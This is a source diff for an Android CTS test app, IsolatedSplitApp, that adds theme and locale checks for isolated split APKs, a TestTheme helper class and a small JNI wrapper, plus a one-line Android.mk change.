@@ -17,6 +17,28 @@
 package com.android.cts.isolatedsplitapp;
 
 import android.app.Activity;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.os.Bundle;
 
 public class BaseActivity extends Activity {
+    private static Configuration sOverrideConfiguration;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.base_linearlayout);
+    }
+
+    @Override
+    protected void attachBaseContext(Context newBase) {
+        super.attachBaseContext(newBase);
+        if (sOverrideConfiguration != null) {
+            applyOverrideConfiguration(sOverrideConfiguration);
+        }
+    }
+
+    public static void setOverrideConfiguration(Configuration overrideConfiguration) {
+        sOverrideConfiguration = overrideConfiguration;
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/Native.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/Native.java
new file mode 100644
index 0000000..164304b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/Native.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.isolatedsplitapp;
+
+public class Native {
+    static {
+        System.loadLibrary("splitappjni_isolated");
+    }
+
+    public static native int add(int numberA, int numberB);
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index 300f978..abc6257 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -26,12 +26,17 @@
 import android.content.Intent;
 import android.content.res.Configuration;
 import android.content.res.Resources;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
 import android.os.Bundle;
+import android.view.View;
+import android.widget.LinearLayout;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestRule;
@@ -47,6 +52,8 @@
 public class SplitAppTest {
     private static final String PACKAGE = "com.android.cts.isolatedsplitapp";
 
+    private static final ComponentName BASE_ACTIVITY =
+            ComponentName.createRelative(PACKAGE, ".BaseActivity");
     private static final ComponentName FEATURE_A_ACTIVITY =
             ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
     private static final ComponentName FEATURE_B_ACTIVITY =
@@ -60,84 +67,123 @@
             "com.android.cts.isolatedsplitapp.feature_b:string/feature_b_string";
     private static final String FEATURE_C_STRING =
             "com.android.cts.isolatedsplitapp.feature_c:string/feature_c_string";
+    private static final String FEATURE_A_TEXTVIEW_ID =
+            "com.android.cts.isolatedsplitapp.feature_a:id/feature_a_text";
+    private static final String FEATURE_B_TEXTVIEW_ID =
+            "com.android.cts.isolatedsplitapp.feature_b:id/feature_b_text";
+    private static final String FEATURE_C_TEXTVIEW_ID =
+            "com.android.cts.isolatedsplitapp.feature_c:id/feature_c_text";
 
     private static final Configuration PL = new Configuration();
     static {
         PL.setLocale(Locale.forLanguageTag("pl"));
     }
 
-    @Rule
-    public ActivityTestRule<BaseActivity> mBaseActivityRule =
-            new ActivityTestRule<>(BaseActivity.class);
-
-    // Do not launch this activity lazily. We use this rule to launch all feature Activities,
+    // Do not launch this activity lazily. We use this rule to launch all Activities,
     // so we use #launchActivity() with the correct Intent.
     @Rule
-    public ActivityTestRule<Activity> mFeatureActivityRule =
+    public ActivityTestRule<Activity> mActivityRule =
             new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
                     false /*launchActivity*/);
 
     @Rule
     public AppContextTestRule mAppContextTestRule = new AppContextTestRule();
 
+    @Before
+    public void setUp() {
+        BaseActivity.setOverrideConfiguration(null);
+    }
+
     @Test
     public void shouldLoadDefault() throws Exception {
-        final Context context = mBaseActivityRule.getActivity();
-        final Resources resources = context.getResources();
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(BASE_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, R.style.Theme_Base);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+        testTheme.assertThemeBaseValues();
+
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
 
         // The base does not depend on any splits so no splits should be accessible.
-        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY,
+        assertActivitiesDoNotExist(activity, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY,
                 FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING, FEATURE_C_STRING);
+        assertResourcesDoNotExist(activity, FEATURE_A_STRING, FEATURE_B_STRING, FEATURE_C_STRING,
+                TestTheme.THEME_FEATURE_A, TestTheme.THEME_FEATURE_B, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
     public void shouldLoadPolishLocale() throws Exception {
-        final Context context = mBaseActivityRule.getActivity().createConfigurationContext(PL);
-        final Resources resources = context.getResources();
+        BaseActivity.setOverrideConfiguration(PL);
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(BASE_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, R.style.Theme_Base);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+        testTheme.assertThemeBaseValues_pl();
+
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
 
         // The base does not depend on any splits so no splits should be accessible.
-        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY,
+        assertActivitiesDoNotExist(activity, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY,
                 FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING, FEATURE_C_STRING);
+        assertResourcesDoNotExist(activity, FEATURE_A_STRING, FEATURE_B_STRING, FEATURE_C_STRING,
+                TestTheme.THEME_FEATURE_A, TestTheme.THEME_FEATURE_B, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
     public void shouldLoadFeatureADefault() throws Exception {
-        final Context context = mFeatureActivityRule.launchActivity(
+        final Activity activity = mActivityRule.launchActivity(
                 new Intent().setComponent(FEATURE_A_ACTIVITY));
-        final Resources resources = context.getResources();
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_A);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues();
 
         int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature A String Default"));
+        testTheme.assertThemeFeatureAValues();
 
-        assertActivitiesDoNotExist(context, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_B_STRING, FEATURE_C_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_A_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_B_STRING, FEATURE_C_STRING,
+                TestTheme.THEME_FEATURE_B, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
     public void shouldLoadFeatureAPolishLocale() throws Exception {
-        final Context context = mFeatureActivityRule.launchActivity(
-                new Intent().setComponent(FEATURE_A_ACTIVITY)).createConfigurationContext(PL);
-        final Resources resources = context.getResources();
+        BaseActivity.setOverrideConfiguration(PL);
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_A_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_A);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues_pl();
 
         int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature A String Polish"));
+        testTheme.assertThemeFeatureAValues_pl();
 
-        assertActivitiesDoNotExist(context, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_B_STRING, FEATURE_C_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_A_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_B_STRING, FEATURE_C_STRING,
+                TestTheme.THEME_FEATURE_B, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
@@ -154,40 +200,57 @@
     @Test
     public void shouldLoadFeatureBDefault() throws Exception {
         // Feature B depends on A, so we expect both to be available.
-        final Context context = mFeatureActivityRule.launchActivity(
+        final Activity activity = mActivityRule.launchActivity(
                 new Intent().setComponent(FEATURE_B_ACTIVITY));
-        final Resources resources = context.getResources();
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_B);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues();
 
         int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature A String Default"));
+        new TestTheme(activity, TestTheme.THEME_FEATURE_A).assertThemeFeatureAValues();
 
         resourceId = resources.getIdentifier(FEATURE_B_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature B String Default"));
+        testTheme.assertThemeFeatureBValues();
 
-        assertActivitiesDoNotExist(context, FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_C_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_B_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_C_STRING, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
     public void shouldLoadFeatureBPolishLocale() throws Exception {
-        final Context context = mFeatureActivityRule.launchActivity(
-                new Intent().setComponent(FEATURE_B_ACTIVITY)).createConfigurationContext(PL);
-        final Resources resources = context.getResources();
+        BaseActivity.setOverrideConfiguration(PL);
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_B_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_B);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues_pl();
 
         int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature A String Polish"));
+        new TestTheme(activity, TestTheme.THEME_FEATURE_A).assertThemeFeatureAValues_pl();
 
         resourceId = resources.getIdentifier(FEATURE_B_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature B String Polish"));
+        testTheme.assertThemeFeatureBValues_pl();
 
-        assertActivitiesDoNotExist(context, FEATURE_C_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_C_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_B_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_C_STRING, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
@@ -203,34 +266,75 @@
 
     @Test
     public void shouldLoadFeatureCDefault() throws Exception {
-        final Context context = mFeatureActivityRule.launchActivity(
+        final Activity activity = mActivityRule.launchActivity(
                 new Intent().setComponent(FEATURE_C_ACTIVITY));
-        final Resources resources = context.getResources();
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_C);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues();
 
         int resourceId = resources.getIdentifier(FEATURE_C_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature C String Default"));
+        testTheme.assertThemeFeatureCValues();
 
-        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_C_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_A_STRING, FEATURE_B_STRING,
+                TestTheme.THEME_FEATURE_A, TestTheme.THEME_FEATURE_B);
     }
 
     @Test
     public void shouldLoadFeatureCPolishLocale() throws Exception {
-        final Context context = mFeatureActivityRule.launchActivity(
-                new Intent().setComponent(FEATURE_C_ACTIVITY)).createConfigurationContext(PL);
-        final Resources resources = context.getResources();
+        BaseActivity.setOverrideConfiguration(PL);
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_C_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_C);
+        final Resources resources = activity.getResources();
         assertThat(resources, notNullValue());
 
         assertThat(resources.getString(R.string.base_string), equalTo("Base String Polish"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues_pl();
 
         int resourceId = resources.getIdentifier(FEATURE_C_STRING, null, null);
         assertThat(resources.getString(resourceId), equalTo("Feature C String Polish"));
+        testTheme.assertThemeFeatureCValues_pl();
 
-        assertActivitiesDoNotExist(context, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY);
-        assertResourcesDoNotExist(context, FEATURE_A_STRING, FEATURE_B_STRING);
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_C_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_A_ACTIVITY, FEATURE_B_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_A_STRING, FEATURE_B_STRING,
+                TestTheme.THEME_FEATURE_A, TestTheme.THEME_FEATURE_B);
+    }
+
+    @Test
+    public void shouldLoadFeatureADiffRevision() throws Exception {
+        final Activity activity = mActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_A_ACTIVITY));
+        final TestTheme testTheme = new TestTheme(activity, TestTheme.THEME_FEATURE_A);
+        final Resources resources = activity.getResources();
+        assertThat(resources, notNullValue());
+
+        assertThat(resources.getString(R.string.base_string), equalTo("Base String Default"));
+        new TestTheme(activity, R.style.Theme_Base).assertThemeBaseValues();
+
+        int resourceId = resources.getIdentifier(FEATURE_A_STRING, null, null);
+        assertThat(resources.getString(resourceId), equalTo("Feature A String Diff Revision"));
+        testTheme.assertThemeFeatureAValuesDiffRev();
+
+        // Test the theme applied to the activity correctly
+        assertActivityThemeApplied(activity, testTheme);
+        assertTextViewBGColor(activity, FEATURE_A_TEXTVIEW_ID, testTheme.mColorBackground);
+
+        assertActivitiesDoNotExist(activity, FEATURE_B_ACTIVITY, FEATURE_C_ACTIVITY);
+        assertResourcesDoNotExist(activity, FEATURE_B_STRING, FEATURE_C_STRING,
+                TestTheme.THEME_FEATURE_B, TestTheme.THEME_FEATURE_C);
     }
 
     @Test
@@ -244,6 +348,20 @@
         assertThat(results.getString("feature_c"), equalTo("Feature C String Default"));
     }
 
+    @Test
+    public void shouldNotFoundFeatureC() throws Exception {
+        assertActivityDoNotExist(FEATURE_C_ACTIVITY);
+    }
+
+    private void assertActivityDoNotExist(ComponentName activity) {
+        try {
+            mActivityRule.launchActivity(new Intent().setComponent(activity));
+            fail("Activity " + activity + " is accessible");
+        } catch (RuntimeException e) {
+            // Pass.
+        }
+    }
+
     private static void assertActivitiesDoNotExist(Context context, ComponentName... activities) {
         for (ComponentName activity : activities) {
             try {
@@ -265,6 +383,41 @@
         }
     }
 
+    private static void assertActivityThemeApplied(Activity activity, TestTheme testTheme) {
+        assertBaseLayoutBGColor(activity, testTheme.mBaseColor);
+        assertThat(activity.getWindow().getStatusBarColor(), equalTo(testTheme.mStatusBarColor));
+        assertThat(activity.getWindow().getNavigationBarColor(),
+                equalTo(testTheme.mNavigationBarColor));
+        assertDrawableColor(activity.getWindow().getDecorView().getBackground(),
+                testTheme.mWindowBackground);
+    }
+
+    private static void assertBaseLayoutBGColor(Activity activity, int expected) {
+        final LinearLayout layout = activity.findViewById(R.id.base_layout);
+        final Drawable background = layout.getBackground();
+        assertDrawableColor(background, expected);
+    }
+
+    private static void assertTextViewBGColor(Activity activity, String nameOfIdentifier,
+            int expected) {
+        final int viewId = activity.getResources().getIdentifier(nameOfIdentifier, null, null);
+        assertThat(viewId, not(equalTo(0)));
+
+        final View view = activity.findViewById(viewId);
+        final Drawable background = view.getBackground();
+        assertDrawableColor(background, expected);
+    }
+
+    private static void assertDrawableColor(Drawable drawable, int expected) {
+        int color = 0;
+        if (drawable instanceof ColorDrawable) {
+            color = ((ColorDrawable) drawable).getColor();
+        } else {
+            fail("Can't get drawable color");
+        }
+        assertThat(color, equalTo(expected));
+    }
+
     private static class ExtrasResultReceiver extends BroadcastReceiver {
         private final CompletableFuture<Bundle> mResult = new CompletableFuture<>();
 
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/TestTheme.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/TestTheme.java
new file mode 100644
index 0000000..5909a26
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/TestTheme.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.isolatedsplitapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.view.ContextThemeWrapper;
+
+/**
+ * A helper class to retrieve theme values of Theme_Base, Theme_Feature_A, Theme_Feature_B or
+ * Theme_Feature_C.
+ */
+public class TestTheme {
+
+    public static final String THEME_FEATURE_A =
+            "com.android.cts.isolatedsplitapp.feature_a:style/Theme_Feature_A";
+    public static final String THEME_FEATURE_B =
+            "com.android.cts.isolatedsplitapp.feature_b:style/Theme_Feature_B";
+    public static final String THEME_FEATURE_C =
+            "com.android.cts.isolatedsplitapp.feature_c:style/Theme_Feature_C";
+
+    public static final int COLOR_BLACK = 0xFF000000;
+    public static final int COLOR_RED = 0xFFFF0000;
+    public static final int COLOR_GREEN = 0xFF00FF00;
+    public static final int COLOR_BLUE = 0xFF0000FF;
+    public static final int COLOR_GRAY = 0xFF888888;
+    public static final int COLOR_LTGRAY = 0xFF444444;
+    public static final int COLOR_DKGRAY = 0xFFCCCCCC;
+    public static final int COLOR_YELLOW = 0xFFFFFF00;
+    public static final int COLOR_PURPLE = 0xFF800080;
+    public static final int COLOR_PINK = 0xFFFFC0CB;
+    public static final int COLOR_ORANGE = 0xFFFFA500;
+    public static final int COLOR_LINEN = 0xFFFAF0E6;
+    public static final int COLOR_MINTCREAM = 0xFFF5FFFA;
+    public static final int COLOR_CYAN = 0xFF00FFFF;
+    public static final int COLOR_MAGENTA = 0xFFFF00FF;
+    public static final int COLOR_MAROON = 0xFF800000;
+    public static final int COLOR_NAVY = 0xFF000080;
+    public static final int COLOR_OLIVE = 0xFF808000;
+
+    private static final String ATTR_THEME_PRIMARY_COLOR =
+            "com.android.cts.isolatedsplitapp.feature_a:attr/themePrimaryColor";
+    private static final String ATTR_THEME_SECONDARY_COLOR =
+            "com.android.cts.isolatedsplitapp.feature_b:attr/themeSecondaryColor";
+    private static final String ATTR_THEME_TERTIARY_COLOR =
+            "com.android.cts.isolatedsplitapp.feature_c:attr/themeTertiaryColor";
+
+    /** {@link R.attr.themeName} */
+    public String mName;
+
+    /** {@link R.attr.themeBaseColor} */
+    public int mBaseColor;
+
+    /** {@link #ATTR_THEME_PRIMARY_COLOR} */
+    public int mPrimaryColor;
+
+    /** {@link #ATTR_THEME_SECONDARY_COLOR} */
+    public int mSecondaryColor;
+
+    /** {@link #ATTR_THEME_TERTIARY_COLOR} */
+    public int mTertiaryColor;
+
+    /** {#link android.R.attr.colorBackground} */
+    public int mColorBackground;
+
+    /** {#link android.R.attr.navigationBarColor} */
+    public int mNavigationBarColor;
+
+    /** {#link android.R.attr.statusBarColor} */
+    public int mStatusBarColor;
+
+    /** {#link android.R.attr.windowBackground} */
+    public int mWindowBackground;
+
+    public TestTheme(Context context, String nameOfIdentifier) {
+        setTheme(context, nameOfIdentifier);
+    }
+
+    public TestTheme(Context context, int themeId) {
+        setTheme(context, themeId);
+    }
+
+    public void assertThemeBaseValues() {
+        assertThat(mName).isEqualTo("Base Theme");
+        assertThat(mBaseColor).isEqualTo(COLOR_BLACK);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_RED);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_GREEN);
+        assertThat(mWindowBackground).isEqualTo(mBaseColor);
+    }
+
+    public void assertThemeBaseValues_pl() {
+        assertThat(mName).isEqualTo("Base Theme Polish");
+        assertThat(mBaseColor).isEqualTo(COLOR_GREEN);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_BLACK);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_RED);
+        assertThat(mWindowBackground).isEqualTo(mBaseColor);
+    }
+
+    public void assertThemeFeatureAValues() {
+        assertThat(mName).isEqualTo("Feature A Theme");
+        assertThat(mBaseColor).isEqualTo(COLOR_BLUE);
+        assertThat(mPrimaryColor).isEqualTo(COLOR_GRAY);
+        assertThat(mColorBackground).isEqualTo(COLOR_LTGRAY);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_DKGRAY);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_YELLOW);
+        assertThat(mWindowBackground).isEqualTo(mPrimaryColor);
+    }
+
+    public void assertThemeFeatureAValues_pl() {
+        assertThat(mName).isEqualTo("Feature A Theme Polish");
+        assertThat(mBaseColor).isEqualTo(COLOR_YELLOW);
+        assertThat(mPrimaryColor).isEqualTo(COLOR_DKGRAY);
+        assertThat(mColorBackground).isEqualTo(COLOR_GRAY);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_LTGRAY);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_BLUE);
+        assertThat(mWindowBackground).isEqualTo(mPrimaryColor);
+    }
+
+    public void assertThemeFeatureAValuesDiffRev() {
+        assertThat(mName).isEqualTo("Feature A Theme Diff Revision");
+        assertThat(mBaseColor).isEqualTo(COLOR_YELLOW);
+        assertThat(mPrimaryColor).isEqualTo(COLOR_BLUE);
+        assertThat(mColorBackground).isEqualTo(COLOR_GRAY);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_LTGRAY);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_DKGRAY);
+        assertThat(mWindowBackground).isEqualTo(mPrimaryColor);
+    }
+
+    public void assertThemeFeatureBValues() {
+        assertThat(mName).isEqualTo("Feature B Theme");
+        assertThat(mBaseColor).isEqualTo(COLOR_PURPLE);
+        assertThat(mSecondaryColor).isEqualTo(COLOR_PINK);
+        assertThat(mColorBackground).isEqualTo(COLOR_ORANGE);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_LINEN);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_MINTCREAM);
+        assertThat(mWindowBackground).isEqualTo(mSecondaryColor);
+    }
+
+    public void assertThemeFeatureBValues_pl() {
+        assertThat(mName).isEqualTo("Feature B Theme Polish");
+        assertThat(mBaseColor).isEqualTo(COLOR_MINTCREAM);
+        assertThat(mSecondaryColor).isEqualTo(COLOR_LINEN);
+        assertThat(mColorBackground).isEqualTo(COLOR_PINK);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_ORANGE);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_PURPLE);
+        assertThat(mWindowBackground).isEqualTo(mSecondaryColor);
+    }
+
+    public void assertThemeFeatureCValues() {
+        assertThat(mName).isEqualTo("Feature C Theme");
+        assertThat(mBaseColor).isEqualTo(COLOR_CYAN);
+        assertThat(mTertiaryColor).isEqualTo(COLOR_MAGENTA);
+        assertThat(mColorBackground).isEqualTo(COLOR_MAROON);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_NAVY);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_OLIVE);
+        assertThat(mWindowBackground).isEqualTo(mTertiaryColor);
+    }
+
+    public void assertThemeFeatureCValues_pl() {
+        assertThat(mName).isEqualTo("Feature C Theme Polish");
+        assertThat(mBaseColor).isEqualTo(COLOR_OLIVE);
+        assertThat(mTertiaryColor).isEqualTo(COLOR_NAVY);
+        assertThat(mColorBackground).isEqualTo(COLOR_MAGENTA);
+        assertThat(mNavigationBarColor).isEqualTo(COLOR_MAROON);
+        assertThat(mStatusBarColor).isEqualTo(COLOR_CYAN);
+        assertThat(mWindowBackground).isEqualTo(mTertiaryColor);
+    }
+
+    private void setTheme(Context context, String nameOfIdentifier) {
+        final int themeId = resolveResourceId(context , nameOfIdentifier);
+        if (themeId == 0) {
+            throw new IllegalArgumentException("Failed to a resource identifier for the "
+                    + nameOfIdentifier);
+        }
+        setTheme(context, themeId);
+    }
+
+    private void setTheme(Context context, int themeId) {
+        final Resources.Theme theme = new ContextThemeWrapper(context, themeId).getTheme();
+        mName = getString(theme, R.attr.themeName);
+        mBaseColor = getColor(theme, R.attr.themeBaseColor);
+        mPrimaryColor = getColor(theme, resolveResourceId(context, ATTR_THEME_PRIMARY_COLOR));
+        mSecondaryColor = getColor(theme, resolveResourceId(context, ATTR_THEME_SECONDARY_COLOR));
+        mTertiaryColor = getColor(theme, resolveResourceId(context, ATTR_THEME_TERTIARY_COLOR));
+        mColorBackground = getColor(theme, android.R.attr.colorBackground);
+        mNavigationBarColor = getColor(theme, android.R.attr.navigationBarColor);
+        mStatusBarColor = getColor(theme, android.R.attr.statusBarColor);
+        mWindowBackground = getDrawableColor(theme, android.R.attr.windowBackground);
+    }
+
+    private int resolveResourceId(Context context, String nameOfIdentifier) {
+        return context.getResources().getIdentifier(nameOfIdentifier, null, null);
+    }
+
+    private String getString(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final String string = ta.getString(0);
+        ta.recycle();
+        return string;
+    }
+
+    private int getColor(Resources.Theme theme, int resourceId) {
+        if (resourceId == 0) {
+            return 0;
+        }
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final int color = ta.getColor(0, 0);
+        ta.recycle();
+        return color;
+    }
+
+    private int getDrawableColor(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final Drawable color = ta.getDrawable(0);
+        ta.recycle();
+        if (!(color instanceof ColorDrawable)) {
+            return 0;
+        }
+        return ((ColorDrawable) color).getColor();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
index 43acdfe..2259463 100644
--- a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
@@ -20,8 +20,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts_signature_query_service
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
